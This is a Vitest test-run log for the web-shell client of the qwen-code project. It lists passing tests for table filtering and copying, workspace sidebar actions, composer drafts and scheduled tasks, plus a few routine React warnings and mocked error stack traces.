✓ App prompt send failure retry > tracks the first failed message with the lazily allocated session id 1524ms
✓ App prompt send failure retry > restores the retry action when resending fails again 2515ms
✓ App prompt send failure retry > shows processing only after retry admission and restarts its timer 2156ms
✓ App prompt send failure retry > hides the old retry action when a newer user message appears 1647ms
✓ App prompt send failure retry > does not attach an old send failure to the newly selected session 2566ms
✓ App prompt send failure retry > does not restore retry when a newer user message arrived before failure 1628ms
✓ App prompt send failure retry > leaves admitted turn failures to the existing turn-error UI 1431ms
✓ App /goal command > opens the Goals page for a bare /goal instead of sending a prompt 1170ms
✓ App /goal command > opens the Goals page for a bare /goal even while a turn is running 1353ms
✓ App /goal command > still sends /goal as a prompt rather than opening the page 1160ms
✓ App /goal command > still routes /goal clear through the daemon clear path 918ms
✓ App /goal command > starts a goal in a fresh session from the Goals page 1339ms
✓ App /goal command > keeps the Goals page mounted across createNewSession, not just after it 1165ms
✓ App /goal command > keeps the Goals page open when the goal prompt is rejected 1204ms
✓ App /goal command > switches to the chat view only after the goal prompt is admitted 1241ms
✓ App /goal command > opens a goal's session in the chat view 1257ms
✓ App /goal command > reports a failure to open a goal's session instead of swallowing it 1300ms
✓ App /goal command > reuses the empty session a failed goal attempt left behind 1471ms
✓ App /goal command > forgets the stranded session once the user leaves the Goals page 2016ms
✓ App /goal command > starts a fresh session again once a goal has actually been sent 1628ms
✓ App /goal command > does not drop the goal into the current session when the new session fails 1215ms
✓ App manual-run orchestration (scheduled tasks) > resolves an unbound run once the daemon admits the prompt 1375ms
✓ App manual-run orchestration (scheduled tasks) > rejects an unbound run that settles without admitting (cancel path) 1352ms
✓ App manual-run orchestration (scheduled tasks) > rejects an unbound run when the send throws before admission 1392ms
✓ App manual-run orchestration (scheduled tasks) > fires a bound run immediately when its session is already active 1429ms
✓ App manual-run orchestration (scheduled tasks) > supersedes an older pending bound run with a newer one 2212ms
✓ App manual-run orchestration (scheduled tasks) > rejects a bound run when the session switch times out 1442ms
✓ App manual-run orchestration (scheduled tasks) > "create via chat" starts a fresh session and primes the composer 1390ms
✓ App manual-run orchestration (scheduled tasks) > "create via chat" does NOT prime the composer when the new session fails 1393ms
✓ components/messages/EnhancedMarkdownTable.test.tsx (121 tests) 266213ms
✓ EnhancedMarkdownTable > sorts numeric columns from header clicks 7950ms
✓ EnhancedMarkdownTable > filters rows from a column value menu 5901ms
✓ EnhancedMarkdownTable > mounts filter overlays in the Web Shell portal root 4988ms
✓ EnhancedMarkdownTable > applies a custom number filter 4112ms
✓ EnhancedMarkdownTable > applies the gte number filter operator 4157ms
✓ EnhancedMarkdownTable > applies the lt number filter operator 4208ms
✓ EnhancedMarkdownTable > applies the lte number filter operator 4452ms
✓ EnhancedMarkdownTable > applies text filter operators and reset 19285ms
✓ EnhancedMarkdownTable > applies a between number filter 5067ms
✓ EnhancedMarkdownTable > sorts decimal values without leading zero numerically 1071ms
✓ EnhancedMarkdownTable > sorts currency values numerically 1003ms
✓ EnhancedMarkdownTable > filters percentage values as fractions 2251ms
✓ EnhancedMarkdownTable > preserves table alignment without applying it to row details 1112ms
✓ EnhancedMarkdownTable > opens a selectable cell value dialog on double click 2379ms
✓ EnhancedMarkdownTable > mounts the cell value dialog in the Web Shell portal root 1408ms
✓ EnhancedMarkdownTable > copies the current cell value from the dialog 1752ms
✓ EnhancedMarkdownTable > sanitizes the current cell value copied from the dialog 1599ms
✓ EnhancedMarkdownTable > keeps the cell value dialog in sync with table updates 3202ms
✓ EnhancedMarkdownTable > copies an empty cell value from the dialog 1316ms
✓ EnhancedMarkdownTable > closes the cell value dialog with Escape 1349ms
✓ EnhancedMarkdownTable > closes the cell value dialog from the backdrop and buttons 3195ms
✓ EnhancedMarkdownTable > restores focus without scrolling when closing the cell value dialog 1620ms
✓ EnhancedMarkdownTable > focuses the cell value dialog instead of the close button 1025ms
✓ EnhancedMarkdownTable > keeps table Escape handling from running behind the cell dialog 1759ms
✓ EnhancedMarkdownTable > clears table selection and row details when opening a cell dialog 1927ms
✓ EnhancedMarkdownTable > closes an open filter menu when opening a cell dialog 3277ms
✓ EnhancedMarkdownTable > does not open the cell dialog when double clicking an interactive target 798ms
✓ EnhancedMarkdownTable > quick copies the visible sorted table 1395ms
✓ EnhancedMarkdownTable > sanitizes spreadsheet formulas when copying TSV 1753ms
✓ EnhancedMarkdownTable > keeps an accessible name on the custom columns trigger 743ms
✓ EnhancedMarkdownTable > hides columns and restores them from custom columns 3465ms
✓ EnhancedMarkdownTable > quick copy skips hidden columns 2212ms
✓ EnhancedMarkdownTable > resizes a column from its header handle 1420ms
✓ EnhancedMarkdownTable > clamps resized columns to the minimum width 1166ms
✓ EnhancedMarkdownTable > clamps resized columns to the maximum width 1241ms
✓ EnhancedMarkdownTable > stops resizing a column when the window blurs 1186ms
✓ EnhancedMarkdownTable > flushes pending resize width when the window blurs 2277ms
✓ EnhancedMarkdownTable > stops resizing a column when page visibility changes 1259ms
✓ EnhancedMarkdownTable > keeps resizing when page visibility changes while visible 1230ms
✓ EnhancedMarkdownTable > resizes a column with keyboard arrows 1300ms
✓ EnhancedMarkdownTable > uses a filler column after every visible column is manually sized 1417ms
✓ EnhancedMarkdownTable > subtracts fixed widths from the flexible column calc() 823ms
✓ EnhancedMarkdownTable > spans the detail row across the filler column 1570ms
✓ EnhancedMarkdownTable > resizes compact auto columns from their rendered width with keyboard arrows 2335ms
✓ EnhancedMarkdownTable > ignores keyboard resize arrows with modifiers 582ms
✓ EnhancedMarkdownTable > reorders columns and quick copies in the visible order 3354ms
✓ EnhancedMarkdownTable > ignores external drops on column move handles 1862ms
✓ EnhancedMarkdownTable > ignores forged column drag payloads 1565ms
✓ EnhancedMarkdownTable > only reorders columns when dropped within custom columns 2023ms
✓ EnhancedMarkdownTable > resets table visibility and order from custom columns 3926ms
✓ EnhancedMarkdownTable > keeps hidden columns out of reordered selections 3479ms
✓ EnhancedMarkdownTable > toggles sticky classes for the action column and first visible column 5208ms
✓ EnhancedMarkdownTable > positions the frozen shadow from the rendered column edge 1787ms
✓ EnhancedMarkdownTable > repositions the frozen shadow when the ResizeObserver fires 1767ms
✓ EnhancedMarkdownTable > repositions the frozen shadow on window resize without ResizeObserver 1825ms
✓ EnhancedMarkdownTable > dismisses the first-column context menu without clearing the active column 1225ms
✓ EnhancedMarkdownTable > keeps the active column while clicking inside the first-column context menu 967ms
✓ EnhancedMarkdownTable > dismisses the first-column context menu on outside click, scroll, and resize 2463ms
✓ EnhancedMarkdownTable > keeps column menus mutually exclusive while allowing native menus on other columns 2513ms
✓ EnhancedMarkdownTable > collapses long cells with a tooltip and expands them from the toolbar 1038ms
✓ EnhancedMarkdownTable > treats one-line long values as expandable text 717ms
✓ EnhancedMarkdownTable > copies the full long cell value instead of the expanded preview text 1095ms
✓ EnhancedMarkdownTable > flattens cell-internal newlines when copying a selection 1026ms
✓ EnhancedMarkdownTable > flattens cell-internal newlines when quick copying the visible table 1258ms
✓ EnhancedMarkdownTable > flattens cell-internal tabs when copying a selection 1960ms
✓ EnhancedMarkdownTable > flattens cell-internal tabs when quick copying the visible table 932ms
✓ EnhancedMarkdownTable > only shows the long text toolbar action for visible rows 3927ms
✓ EnhancedMarkdownTable > only shows the long text toolbar action for visible columns 1681ms
✓ EnhancedMarkdownTable > selects display density from the toolbar 4126ms
✓ EnhancedMarkdownTable > renders compact row details with blank values and globally expandable long values 1406ms
✓ EnhancedMarkdownTable > keeps the opened row anchored when the table scroller expands 1242ms
✓ EnhancedMarkdownTable > falls back to window.scrollBy when no scroll ancestor exists 1081ms
✓ EnhancedMarkdownTable > shows statistics for a numeric selection 1413ms
✓ EnhancedMarkdownTable > clears a selection when updated rows no longer contain it 1345ms
✓ EnhancedMarkdownTable > clears a selection when clicking outside the table 1311ms
✓ EnhancedMarkdownTable > uses numeric cells only for mixed-selection arithmetic 1405ms
✓ EnhancedMarkdownTable > hides arithmetic statistics when the selection has no numbers 1061ms
✓ EnhancedMarkdownTable > preserves percent formatting for percent-only selections 1147ms
✓ EnhancedMarkdownTable > preserves a shared currency symbol for currency-only selections 1024ms
✓ EnhancedMarkdownTable > formats negative currency statistics with one leading sign 1753ms
✓ EnhancedMarkdownTable > uses plain number formatting for mixed currencies 1187ms
✓ EnhancedMarkdownTable > normalizes negative zero in selection statistics 885ms
✓ EnhancedMarkdownTable > localizes selection statistics 1213ms
✓ EnhancedMarkdownTable > keeps selected cell classes visible on a frozen column 1990ms
✓ EnhancedMarkdownTable > copies reordered selections from the keyboard copy event 2696ms
✓ EnhancedMarkdownTable > copies reordered selections after freezing the first column 3934ms
✓ EnhancedMarkdownTable > shows checkmark feedback after quick copy 1714ms
✓ EnhancedMarkdownTable > keeps copy feedback working under StrictMode effect replay 1209ms
✓ EnhancedMarkdownTable > keeps quick copy feedback visible for the latest click 1186ms
✓ EnhancedMarkdownTable > resets quick copy feedback when visible table data changes 1404ms
✓ EnhancedMarkdownTable > ignores stale quick copy feedback after visible data changes 926ms
✓ EnhancedMarkdownTable > resets quick copy feedback when filters change visible rows 3887ms
✓ EnhancedMarkdownTable > does not show copied feedback when clipboard write fails 1054ms
✓ EnhancedMarkdownTable > shows text feedback after copying a selection 1628ms
✓ EnhancedMarkdownTable > resets selection copy feedback when the selection changes 1827ms
✓ EnhancedMarkdownTable > ignores stale selection copy feedback after selection changes 1376ms
✓ EnhancedMarkdownTable > resets interactive state when table columns change 2303ms
✓ EnhancedMarkdownTable > clears hidden column filters and sort 4175ms
✓ EnhancedMarkdownTable > selection copy skips hidden columns between selected cells 2990ms
✓ EnhancedMarkdownTable > copies selected cells from the focused keyboard copy event 1487ms
✓ EnhancedMarkdownTable > keeps native text selection copy behavior 1563ms
✓ EnhancedMarkdownTable > keeps cross-boundary native text selection copy behavior 747ms
✓ EnhancedMarkdownTable > prevents native text selection when selecting cells with the mouse 948ms
✓ EnhancedMarkdownTable > stops extending a selection after window blur 1269ms
✓ EnhancedMarkdownTable > selects cells with touch drag 1820ms
✓ EnhancedMarkdownTable > resets filter menu draft state when switching columns 3859ms
✓ EnhancedMarkdownTable > lets an outside header action close the filter and run immediately 2816ms
✓ EnhancedMarkdownTable > closes the filter menu when clicking outside it 2313ms
✓ EnhancedMarkdownTable > returns focus to the filter trigger when Escape closes the menu 2292ms
✓ EnhancedMarkdownTable > keeps focus within the filter popover 2971ms
✓ EnhancedMarkdownTable > does not trap Tab when focus is outside the filter popover 2273ms
✓ EnhancedMarkdownTable > closes the filter menu on scroll 2070ms
✓ EnhancedMarkdownTable > keeps sorting and column visibility out of the filter menu 1977ms
✓ EnhancedMarkdownTable > controls row-detail fields independently from table columns 2180ms
✓ EnhancedMarkdownTable > closes row details when the row is filtered out 2946ms
✓ EnhancedMarkdownTable > falls back for oversized tables 451ms
✓ EnhancedMarkdownTable > shows a distinct message for empty tables 537ms
✓ EnhancedMarkdownTable > keeps footer rows visible 538ms
✓ EnhancedMarkdownTable > parses direct table row children 543ms
✓ EnhancedMarkdownTable > localizes the new controls 3435ms
✓ components/sidebar/WebShellSidebar.workspace-removal.test.tsx (47 tests) 127364ms
✓ WebShellSidebar workspace removal > delegates Add workspace to the App-owned dialog 3461ms
✓ WebShellSidebar workspace removal > scopes pinned and archived sessions to a locked secondary workspace 2078ms
✓ WebShellSidebar workspace removal > gives a locked trusted secondary active row normal actions through its workspace 10309ms
✓ WebShellSidebar workspace removal > allows only the current locked-secondary session to rename 2990ms
✓ WebShellSidebar workspace removal > does not assign a created group after its locked workspace unlocks 7719ms
✓ WebShellSidebar workspace removal > routes locked secondary delete, archive, color, and pinned mutations only to its client 12474ms
✓ WebShellSidebar workspace removal > requires workspace_qualified_rest_core for locked secondary destructive and organization controls 2625ms
✓ WebShellSidebar workspace removal > keeps a trusted locked workspace New Task available without session organization 958ms
✓ WebShellSidebar workspace removal > applies items and inlineItems consistently to locked normal, pinned, and archived rows 3338ms
✓ WebShellSidebar workspace removal > renders locked normal, pinned, and archived rows action-free when no items are configured 1184ms
✓ WebShellSidebar workspace removal > gates primary group header controls on the live organization policy 1990ms
✓ WebShellSidebar workspace removal > keeps equal-id active export and current state isolated by workspace cwd 5406ms
✓ WebShellSidebar workspace removal > keeps primary active export on the primary action under session_export only 2461ms
✓ WebShellSidebar workspace removal > does not infer secondary active export from session_export 1384ms
✓ WebShellSidebar workspace removal > applies configured, trusted archived actions without a stale-cwd fallback 4104ms
✓ WebShellSidebar workspace removal > clears a secondary delete candidate after its workspace disappears 2867ms
✓ WebShellSidebar workspace removal > keeps legacy primary actions when capabilities omit the workspace catalog 1502ms
✓ WebShellSidebar workspace removal > fails closed for an explicit primary cwd that disappears from the catalog 2686ms
✓ WebShellSidebar workspace removal > treats a no-cwd primary row as current when the connection cwd is omitted 1157ms
✓ WebShellSidebar workspace removal > deduplicates pending no-cwd primary renames and clears the busy identity afterward 3320ms
✓ WebShellSidebar workspace removal > honors a missing rename item for double-click editing 712ms
✓ WebShellSidebar workspace removal > allows pin on an unlocked secondary workspace but keeps destructive actions restricted 1214ms
✓ WebShellSidebar workspace removal > allows organization but keeps destructive actions conservative for unlocked secondary sessions 3524ms
✓ WebShellSidebar workspace removal > does not carry an active rename edit across equal session ids in another workspace 2029ms
✓ WebShellSidebar workspace removal > shows only the locked workspace without registration controls 433ms
✓ WebShellSidebar workspace removal > uses custom workspace row content only when the workspace is locked 992ms
✓ WebShellSidebar workspace removal > hides removal when the daemon does not publish the feature 497ms
✓ WebShellSidebar workspace removal > exposes removal for an untrusted removable workspace 1295ms
✓ WebShellSidebar workspace removal > removes the selected workspace and falls back to primary 3828ms
✓ WebShellSidebar workspace removal > shows activity and blocks force for the current session workspace 2969ms
✓ WebShellSidebar workspace removal > shows Voice-only activity before offering force removal 2600ms
✓ WebShellSidebar non-primary archive > archives a trusted secondary session and reconciles every catalog 3174ms
✓ WebShellSidebar non-primary archive > surfaces a partial restore error and reconciles every catalog 4380ms
✓ WebShellSidebar non-primary archive > surfaces secondary batch errors and still reconciles catalogs 1525ms
✓ WebShellSidebar non-primary archive > allows primary archive but gates secondary archive without the plural capability 1540ms
✓ WebShellSidebar non-primary archive > hides archive UI when session_archive is absent 638ms
✓ WebShellSidebar non-primary archive > keeps a locked untrusted secondary active row read-only 1022ms
✓ WebShellSidebar non-primary archive > keeps an untrusted primary active row read-only and action-free 1709ms
✓ WebShellSidebar non-primary archive > surfaces a locked-secondary delete item error without falling back to primary 1588ms
✓ WebShellSidebar non-primary archive > treats an idempotent secondary archive as success despite a matching current id 2318ms
✓ WebShellSidebar non-primary archive > keeps equal-id archive busy state scoped to its workspace 2166ms
✓ WebShellSidebar goals entry > renders the Goals footer button and invokes onOpenGoals 636ms
✓ WebShellSidebar primary workspace header > does not tag the primary workspace with a redundant "Primary" badge 593ms
✓ WebShellSidebar archived session export > hides export without the archived export capability 2896ms
✓ WebShellSidebar archived session export > hides export for an untrusted archived workspace 2424ms
✓ WebShellSidebar archived session export > keeps an untrusted primary archived row action-free except configured Details 2169ms
✓ WebShellSidebar archived session export > exports equal-id archived rows through their owning workspaces 4335ms
✓ components/MessageList.dom.test.tsx (66 tests) 23108ms
✓ MessageList — failed prompt retry > marks only the matching user message and forwards retry 2000ms
✓ MessageList — turn collapse (DOM) > reloads an oversized transcript after 120 quiet seconds at the tail 377ms
✓ MessageList — turn collapse (DOM) > hides only the first user message and overrides first-turn metrics 400ms
✓ MessageList — turn collapse (DOM) > collapses a background notification before the final assistant content 525ms
✓ MessageList — turn collapse (DOM) > keeps a background notification when it is the final content 322ms
✓ MessageList — turn collapse (DOM) > toggle round-trip reveals then re-hides the step 319ms
✓ MessageList — turn collapse (DOM) > renders the session timeline in the left gutter without expanding turns 784ms
✓ MessageList — turn collapse (DOM) > keeps a long session timeline scrollable and preserves first-entry selection 3619ms
✓ MessageList — turn collapse (DOM) > renders timeline details as one body-level tooltip outside the timeline stack 2065ms
✓ MessageList — turn collapse (DOM) > clamps timeline details to the viewport edge 509ms
✓ MessageList — turn collapse (DOM) > keeps timeline details during current-turn centering but hides them on user scroll 2824ms
✓ MessageList — turn collapse (DOM) > hides timeline details when the focused marker moves out of view 413ms
✓ MessageList — turn collapse (DOM) > keeps timeline details when focus scrolls the timeline viewport 336ms
✓ MessageList — turn collapse (DOM) > hides timeline details when the user scrolls the timeline viewport 887ms
✓ MessageList — turn collapse (DOM) > renders scheduled task marker when source is present 658ms
✓ MessageList — turn collapse (DOM) > clicks a session timeline entry to jump to its turn 384ms
✓ MessageList — turn collapse (DOM) > reports scroll-to-bottom affordance when expanding content creates overflow 439ms
stderr | hooks/useAtMentionMenu.test.tsx > useAtMentionMenu > backs from MCP resources to the MCP server list
An update to Harness inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | hooks/useAtMentionMenu.test.tsx > useAtMentionMenu > closes without dispatching when accept uses stale document positions
[@mention] stale insertion range { from: [33m0[39m, to: [33m1[39m, docLength: [33m0[39m }
stderr | hooks/useAtMentionMenu.test.tsx > useAtMentionMenu > does not load resources when reopening a disabled MCP server ref
[@mention] file provider unavailable: workspace actions are not configured
✓ hooks/useAtMentionMenu.test.tsx (73 tests) 8526ms
✓ useAtMentionMenu > does not open while disabled 653ms
✓ useAtMentionMenu > rejects custom providers that reuse disabled built-in ids 377ms
✓ useAtMentionMenu > strips ANSI, BiDi, and control characters from extension display text 444ms
✓ useAtMentionMenu > filters cached extension provider data while searching 472ms
✓ components/messages/Markdown.test.ts (65 tests) 26564ms
✓ qwen-session:// links > survives react-markdown url sanitization and becomes a button 1401ms
✓ Markdown enhanced tables > uses enhanced table rendering when configured 4753ms
✓ Markdown enhanced tables > keeps enhanced table when source customizes table rendering 1070ms
✓ Markdown enhanced tables > renders the plain table fallback when enhancement throws 546ms
✓ Markdown custom code block rendering > passes resolved language aliases to host renderers 2219ms
✓ Markdown custom code block rendering > passes punctuation language aliases to host renderers 4904ms
✓ Markdown custom code block rendering > extracts language prefixes from glued fence metadata 3225ms
✓ Markdown code highlighting while streaming > keeps a growing block plain and highlights it once settled 1210ms
✓ Markdown code highlighting while streaming > applies Shiki highlighting once a code block has settled 564ms
✓ Markdown code highlighting while streaming > drops stale highlighted HTML when the code is replaced (regeneration) 955ms
✓ Markdown code highlighting while streaming > renders an oversized single-line fence as plain text even when the grammar is warm 1335ms
stderr | hooks/useComposerCore.dom.test.tsx > useComposerCore tags > uses a custom inline tooltip without a native title
Attempted to synchronously unmount a root while React was already rendering. React cannot finish unmounting the root until the current render has completed, which may lead to a race condition.
stderr | hooks/useComposerCore.dom.test.tsx > useComposerCore tags > falls back to a native title when attaching an inline tooltip fails
Attempted to synchronously unmount a root while React was already rendering. React cannot finish unmounting the root until the current render has completed, which may lead to a race condition.
✓ hooks/useComposerCore.dom.test.tsx (40 tests) 43163ms
✓ useComposerCore tooltip portal > moves the CodeMirror tooltip portal and styles into the shared shadow root 4771ms
✓ useComposerCore history and drafts > does not serialize the whole document again for a slash menu refresh 10359ms
✓ useComposerCore history and drafts > keeps slash completion replacement coordinates absolute 1627ms
✓ useComposerCore history and drafts > does not reread history storage on unrelated rerenders 1076ms
✓ useComposerCore history and drafts > falls back to legacy prompt history until the workspace has its own history 1091ms
✓ useComposerCore history and drafts > isolates prompt history by workspace and reloads it when the workspace changes 797ms
✓ useComposerCore history and drafts > resets history navigation when the session changes 660ms
✓ useComposerCore history and drafts > restores unsent text for each session and clears accepted drafts 688ms
✓ useComposerCore history and drafts > restores an unsent new-task draft after leaving and returning 2087ms
✓ useComposerCore history and drafts > keeps an unscoped new-task draft in memory until its workspace resolves 479ms
✓ useComposerCore history and drafts > keeps newer unscoped input when the resolved workspace has an older draft 429ms
✓ useComposerCore history and drafts > restores an older workspace draft after a programmatic unscoped reset 450ms
✓ useComposerCore history and drafts > commits a new-task prompt after its session is allocated 445ms
✓ useComposerCore history and drafts > commits a delayed queued prompt to history exactly once 482ms
✓ useComposerCore history and drafts > does not clear newer input when a prompt is accepted in the same session 630ms
✓ useComposerCore history and drafts > does not clear retyped identical input after delayed acceptance 445ms
✓ useComposerCore history and drafts > does not clear the next session when a delayed prompt is accepted 446ms
✓ useComposerCore history and drafts > updates in-memory history for a delayed prompt in the same workspace 695ms
✓ useComposerCore history and drafts > closes history search when the session or workspace changes 498ms
✓ useComposerCore history and drafts > flushes the draft to localStorage on visibilitychange and pagehide 401ms
✓ useComposerCore paste > lets long plain text paste directly into the editor 1591ms
✓ useComposerCore tags > keeps the composer API stable across tag updates 443ms
✓ useComposerCore tags > does not rerender when removing a missing tag 442ms
✓ useComposerCore tags > falls back when inline custom tag rendering throws 877ms
✓ useComposerCore tags > falls back when inline custom tag tooltip rendering throws 469ms
✓ useComposerCore tags > uses a custom inline tooltip without a native title 1401ms
✓ useComposerCore tags > falls back to a native title when attaching an inline tooltip fails 1089ms
✓ useComposerCore tags > guards inline mask icon sources 744ms
✓ useComposerCore tags > renders built-in icons for inline composer tags 791ms
✓ useComposerCore tags > reports inline composer tags as attachments 464ms
✓ useComposerCore tags > updates inline tag state when a document change removes the last tag 449ms
✓ useComposerCore tags > keeps inline tags after trimming leading whitespace on submit 532ms
✓ useComposerCore tags > restores parsed inline tags when arrow keys browse prompt history 686ms
✓ useComposerCore tags > restores shell history as raw command text without parsing tags 516ms
✓ useComposerCore tags > restores draft top tags after ArrowDown exits prompt history 867ms
✓ useComposerCore tags > restores tags when Tab or a search-result selection recalls history 1253ms
✓ useComposerCore tags > does not prepend stale top tags when Ctrl-R submits a recalled inline tag 511ms
✓ useComposerCore tags > submits the selected plain Ctrl-R history text instead of a visible followup 432ms
✓ useComposerCore tags > keeps history source text and skips annotations for mismatched parser output 492ms
✓ useComposerCore tags > restores tags when a history search submission is rejected 456ms
✓ components/ChatPane.test.tsx (65 tests) 13912ms
✓ ChatPane > opens a pane monitor in the shared right panel 1537ms
✓ ChatPane > renders the custom composer footer directly after the pane editor 543ms
✓ ChatPane > updates the custom composer footer with pane-scoped state 381ms
✓ ChatPane > suppresses the rotating loading phrase in its compact status 363ms
✓ ChatPane > sends an idle prompt directly so the pane enters loading immediately 312ms
✓ ChatPane > forwards composer annotations with an idle prompt 664ms
✓ ChatPane > invokes onClose from the header close button 334ms
✓ components/dialogs/ScheduledTasksDialog.test.tsx (41 tests) 31753ms
✓ ScheduledTasksDialog editing > keeps the prompt placeholder outside the editable textbox 4979ms
✓ ScheduledTasksDialog editing > prefills the form from the task and saves via updateScheduledTask 1537ms
✓ ScheduledTasksDialog editing > renders saved prompt references as inline tags when editing 1611ms
✓ ScheduledTasksDialog editing > removes a prompt reference tag and its adjacent spacer 1904ms
✓ ScheduledTasksDialog editing > removes spacing before a trailing prompt reference tag 1137ms
✓ ScheduledTasksDialog editing > copies and cuts prompt references as serialized tokens 891ms
✓ ScheduledTasksDialog editing > does not render filesystem paths as skill tags 619ms
✓ ScheduledTasksDialog editing > does not hang on escaped slash-reference near-misses 603ms
✓ ScheduledTasksDialog editing > inserts extension, skill, and MCP references into the created prompt 3790ms
✓ ScheduledTasksDialog editing > escapes skill names when inserting references 1367ms
✓ ScheduledTasksDialog editing > keeps the latest reference picker results when loads resolve out of order 1221ms
✓ ScheduledTasksDialog editing > renders the reference picker inside the Web Shell portal root 864ms
✓ ScheduledTasksDialog editing > drops plain text only into the prompt editor 465ms
✓ ScheduledTasksDialog editing > pastes plain text only into the prompt editor 409ms
✓ ScheduledTasksDialog editing > caps contenteditable input at the scheduled-task prompt limit 703ms
✓ ScheduledTasksDialog editing > does not preserve empty contenteditable leftovers before an inserted reference 1229ms
✓ ScheduledTasksDialog editing > an unrepresentable cron lands in the custom field, losslessly 632ms
✓ ScheduledTasksDialog run history > toggles the run list open, newest-first, tagging late fires 1027ms
✓ ScheduledTasksDialog run history > shows no run-history toggle for a task that has never fired 359ms
✓ ScheduledTasksDialog run now > records the run and executes the prompt in the task’s bound session 352ms
✓ ScheduledTasksDialog multi-workspace > creates a task in the workspace chosen in the picker 1075ms
✓ ScheduledTasksDialog multi-workspace > lists and creates tasks in a locked secondary workspace 795ms
✓ ScheduledTasksDialog multi-workspace > defaults a new task to the primary workspace 636ms
✓ ScheduledTasksDialog multi-workspace > pins the workspace picker read-only while editing 455ms
✓ ScheduledTasksDialog multi-workspace > keeps an untrusted primary in the aggregate and picker (trust-free route) 497ms
stderr | components/artifacts/ArtifactPanel.test.tsx > ArtifactPanel monitor tab > stays stopped when the post-cancel refresh fails
[web-shell] failed to refresh stopped monitor: Error: refresh failed
at [90m/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/components/artifacts/ArtifactPanel.test.tsx:989:44
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:155:11
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:752:26
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1897:20
at new Promise ()
at runWithTimeout (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1863:10)
at runTest (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1574:12)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1729:8)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1729:8)
at runFiles (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1787:3)
stderr | components/artifacts/ArtifactPanel.test.tsx > ArtifactPanel monitor tab > shows a cancel error when the stop request throws
[web-shell] failed to cancel monitor: Error: network
at [90m/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/components/artifacts/ArtifactPanel.test.tsx:1160:46
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:155:11
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:752:26
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1897:20
at new Promise ()
at runWithTimeout (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1863:10)
at runTest (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1574:12)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1729:8)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1729:8)
at runFiles (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1787:3)
✓ components/artifacts/ArtifactPanel.test.tsx (24 tests) 19898ms
✓ ArtifactPanel code review artifacts > dispatches an available workspace artifact to the dedicated renderer 2440ms
✓ ArtifactPanel code review artifacts > still sends an ordinary JSON artifact to the generic editor 4317ms
✓ ArtifactPanel add menu > keeps the disabled review action on the empty page and hides the add button 350ms
✓ ArtifactPanel add menu > supports opening an existing side task or creating one 3732ms
✓ ArtifactPanel add menu > creates a side task directly from the empty page when there is no history 330ms
✓ ArtifactPanel add menu > does not create a side task before its history finishes loading 368ms
✓ ArtifactPanel add menu > hides review from the add menu when a review tab is already open 750ms
✓ ArtifactPanel add menu > shows review and side-task actions in the add menu for a non-empty panel 705ms
✓ ArtifactPanel review downloads > shows the requested actions and reports download failures through toast 974ms
✓ ArtifactPanel review downloads > cancels the download and skips the error toast when the panel unmounts mid-download 857ms
✓ ArtifactPanel monitor tab > uses the source pane actions for monitor controls 481ms
✓ ArtifactPanel monitor tab > shows the monitor snapshot in a dedicated right-panel tab 550ms
✓ ArtifactPanel monitor tab > stops a running monitor from its detail tab 303ms
✓ ArtifactPanel monitor tab > stays stopped when the post-cancel refresh fails 664ms
✓ ArtifactPanel monitor tab > keeps an in-flight stop response scoped to its monitor tab 329ms
✓ ArtifactPanel monitor tab > keeps a stop error across running snapshot refreshes 323ms
✓ components/ChatEditor.test.tsx (32 tests) 42079ms
✓ ChatEditor voice toolbar integration > mounts voice only when the host toolbar allows it 6076ms
✓ ChatEditor animation layers > mounts the inert specular layer without replacing composer controls 1098ms
✓ ChatEditor animation layers > keeps the typewriter visible through automatic focus 1684ms
✓ ChatEditor animation layers > plays the typewriter twice and then keeps the completed text 1029ms
✓ ChatEditor animation layers > does not mount the typewriter for an empty placeholder 744ms
✓ ChatEditor animation layers > does not mount the typewriter when placeholder animation is disabled 778ms
✓ ChatEditor animation layers > shows the full placeholder without a caret under prefers-reduced-motion 1298ms
✓ ChatEditor animation layers > replays the typewriter sequence after the empty editor loses focus 1247ms
✓ ChatEditor animation layers > hides the typewriter when disabled, in shell mode, or during a followup 2463ms
✓ ChatEditor attachment reporting > reports whether the composer has tags or pasted images 2212ms
✓ ChatEditor composer tag icons > renders built-in icons for top composer tags 565ms
✓ ChatEditor composer tag icons > rejects unsafe custom icon URLs for top composer tags 387ms
✓ ChatEditor git branch toolbar integration > shows the git branch indicator when the branch action is visible 856ms
✓ ChatEditor git branch toolbar integration > hides the git branch indicator without a branch or visible action 648ms
✓ ChatEditor workspace toolbar integration > shows the workspace indicator when the workspace action is visible 539ms
✓ ChatEditor workspace toolbar integration > falls back to the workspace name for the tooltip when no title is given 465ms
✓ ChatEditor workspace toolbar integration > hides the workspace indicator without a name or visible action 595ms
